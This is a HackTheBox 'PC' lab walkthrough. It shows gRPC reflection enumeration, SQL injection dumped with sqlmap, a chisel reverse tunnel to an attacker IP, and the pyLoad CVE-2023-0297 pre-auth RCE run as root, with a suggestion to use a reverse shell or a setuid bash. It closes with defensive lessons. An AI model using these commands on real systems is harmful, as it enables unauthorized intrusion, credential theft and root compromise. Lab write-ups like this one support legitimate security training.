PC
Box Info
Platform: HackTheBox, OS: Linux (Ubuntu 20.04), Difficulty: Easy, Released: 2023-08-05, IP: 10.10.11.214 , pc.htb
Attack Path
- Only 22 and 50051 are open. Port 50051 is a gRPC service with server reflection enabled, so
grpcurl/grpcuienumerate it.SimpleAppexposesRegisterUser,LoginUser,getInfo. - Register, log in for a JWT, then call
getInfowith anidvalue. Theidfield is SQL injectable.sqlmapdumpsaccountsand recovers SSH credentials forsau. sauhas a service bound to127.0.0.1:8000. Tunnel it withchisel. It is pyLoad, vulnerable to CVE-2023-0297, a pre-auth RCE. pyLoad runs as root, so the injected command readsroot.txt.
Credentials and Flags
| Where | Value |
|---|---|
sau (from the accounts table dump) | recovered by sqlmap, see the screenshot in the walkthrough |
user.txt | /home/sau/user.txt |
root.txt | /root/root.txt (via pyLoad as root) |
Overview
What I took away from PC more than anything else is that gRPC is just another web API you have to enumerate, even though the first instinct when you see an unfamiliar port is to assume it’s some exotic, opaque protocol you can’t touch. A lot of people freeze the moment nmap reports “port 50051, unknown service”, but I’ve learned that gRPC servers very often ship with server reflection turned on, and that feature is effectively the gRPC equivalent of a Swagger document. A single grpcurl -plaintext host:50051 list call handed me every service and method the server exposes, and grpcui went a step further and rendered the whole thing as a clickable form I could interact with directly in the browser. Once I could actually call methods, the underlying vulnerability turned out to be refreshingly familiar: a parameter, id in this case, gets concatenated straight into a SQL query with no sanitization. The privilege escalation side was a clean N-day, pyLoad CVE-2023-0297, sitting on a service the developer clearly assumed was safe purely because it only listened on localhost.
I think of this alongside the other unusual-protocol boxes I’ve worked through, Antique with its JetDirect service and Backdoor with gdbserver, since they all reward the same instinct: don’t assume an unfamiliar port is a dead end, go fingerprint it properly. It also belongs with the SQLi-via-sqlmap boxes, Cat, Monitored, and Usage, and with the recurring “localhost-only service, tunnel it and pop it” pattern I’ve seen on MonitorsTwo, Nocturnal, and Monitored as well.
Full Walkthrough
Nmap scan
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
50051/tcp open unknown
Right away I noticed nmap couldn’t fingerprint port 50051 and just dumped a binary probe response instead of a clean service banner. Rather than shrug it off, I looked closely at the raw bytes, and the \0\0\x18\x04 framing jumped out as HTTP/2, which was the detail that told me this was almost certainly gRPC rather than some custom TCP protocol.
After a bit of research to confirm that hunch, I settled on grpcurl as my entry point for interacting with the service: https://github.com/fullstorydev/grpcurl.
grpcurl -plaintext pc.htb:50051 listSimpleApp
grpc.reflection.v1alpha.ServerReflection
gRPC server reflection
gRPC is built on Protocol Buffers, which means that without the corresponding .proto file a client has no way of knowing what methods or message shapes even exist on the server side. That’s where server reflection comes in: it’s an optional service that lets the server hand its own schema out at runtime, on request. Seeing ServerReflection in the list output told me it was enabled here, and that’s exactly what let tools like grpcurl and grpcui enumerate every service, method, and field without me having any prior knowledge of the API. Running grpcurl -plaintext pc.htb:50051 describe SimpleApp printed the full definition for me. From a defensive standpoint, reflection is something I’d always recommend disabling on anything internet-facing, since it’s essentially handing an attacker your API documentation for free.
To move faster than raw grpcurl calls would let me, I brought up grpcui for a clickable interface: https://github.com/fullstorydev/grpcui.
grpcui -plaintext pc.htb:50051

Register a user, then log in:

ID = 197
token = eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYmFwaG9tZXRwd24iLCJleHAiOjE3MDc2MTI1MTF9.BQqrp0oolbJlhp6sFgA8_vVlUVLkJMcO4t54FvkI3WACalling getInfo with the id and token:

we found SQL injection in the id field.
SQL injection over gRPC
The message field is just a string that the server drops into a query like SELECT ... WHERE id = '<id>'. gRPC transport does not change anything: capture the grpcui request (it proxies over HTTP so Burp sees it), save it, and point sqlmap at the request file. Because the value is numeric-in-a-string here, --tamper=between and a higher --level/--risk help. getInfo also requires a valid JWT, so keep the token field populated or sqlmap’s requests get rejected before reaching the sink.
sqlmap -r sql2.req --no-cast --tables --threads=10 --batch --tamper=between --level 5 --risk 3Database: <current>
[2 tables]
+----------+
| accounts |
| messages |
+----------+
sqlmap -r sql.req --dump --batch --level 1 --risk 3
boom we have creds. The accounts dump gives sau’s password (plaintext in the table), and it is reused for SSH.
Tunnel to pyLoad, CVE-2023-0297
sau@pc:~$ ss -tlnp
LISTEN 0 ... 127.0.0.1:8000
The server is running a service on port 8000. Start a chisel reverse SOCKS proxy:
# attacker
./chisel server --port 8085 --reverse
# on pc as sau
./chisel client 10.10.14.77:8085 R:1080:socks
Through the proxy it is pyLoad 0.5.0.
└─[$]> searchsploit pyload
PyLoad 0.5.0 - Pre-auth Remote Code Execution (RCE) | python/webapps/51532.py
CVE-2023-0297, pyLoad pre-auth RCE
pyLoad’s /flash/addcrypted2 endpoint is meant to receive click-and-load container files. It builds a call to pyimport and ultimately passes attacker data into eval() inside js2py, so a crafted jk (JavaScript “crypt key” evaluator) parameter runs arbitrary Python. No authentication. pyLoad on this box runs as root, so the payload executes as root. Fixed in pyLoad 0.5.0b3.dev31.
proxychains python3 51532.py -u http://127.0.0.1:8000 -c 'cat /root/root.txt | tee /tmp/flag.txt'[+] Host up, let's exploit!
[+] The exploit has been executed in target machine.
Now we have the root flag from /tmp/flag.txt. For a full shell, swap the command for a reverse shell or chmod +s /bin/bash.
Loot
| Flag | Location |
|---|---|
user.txt | /home/sau/user.txt |
root.txt | /root/root.txt |
Lessons and Takeaways
- An unknown port with HTTP/2 framing is usually gRPC. Try
grpcurl -plaintext host:port listbefore anything else. - Disable gRPC server reflection in production. It is a full API map for an attacker.
- gRPC does not sanitise anything for you. Every field is user input; parameterise queries exactly as you would for REST.
- “It only listens on localhost” is not a security control. Anyone with a shell tunnels straight to it. Patch internal services and run them as an unprivileged user, never root.
- Patch pyLoad and, more generally, do not run download managers or automation daemons as root.
Related Writeups
- Unusual service protocol to foothold: Antique, Backdoor
- SQLi with sqlmap from a saved request: Cat, Monitored, Usage
- Tunnel to a localhost-only service then exploit: MonitorsTwo, Nocturnal, Monitored
- N-day RCE on a service running as root: Bizness, Analytics
References
- CVE-2023-0297 (pyLoad) https://nvd.nist.gov/vuln/detail/CVE-2023-0297
- grpcurl https://github.com/fullstorydev/grpcurl
- grpcui https://github.com/fullstorydev/grpcui
- chisel https://github.com/jpillora/chisel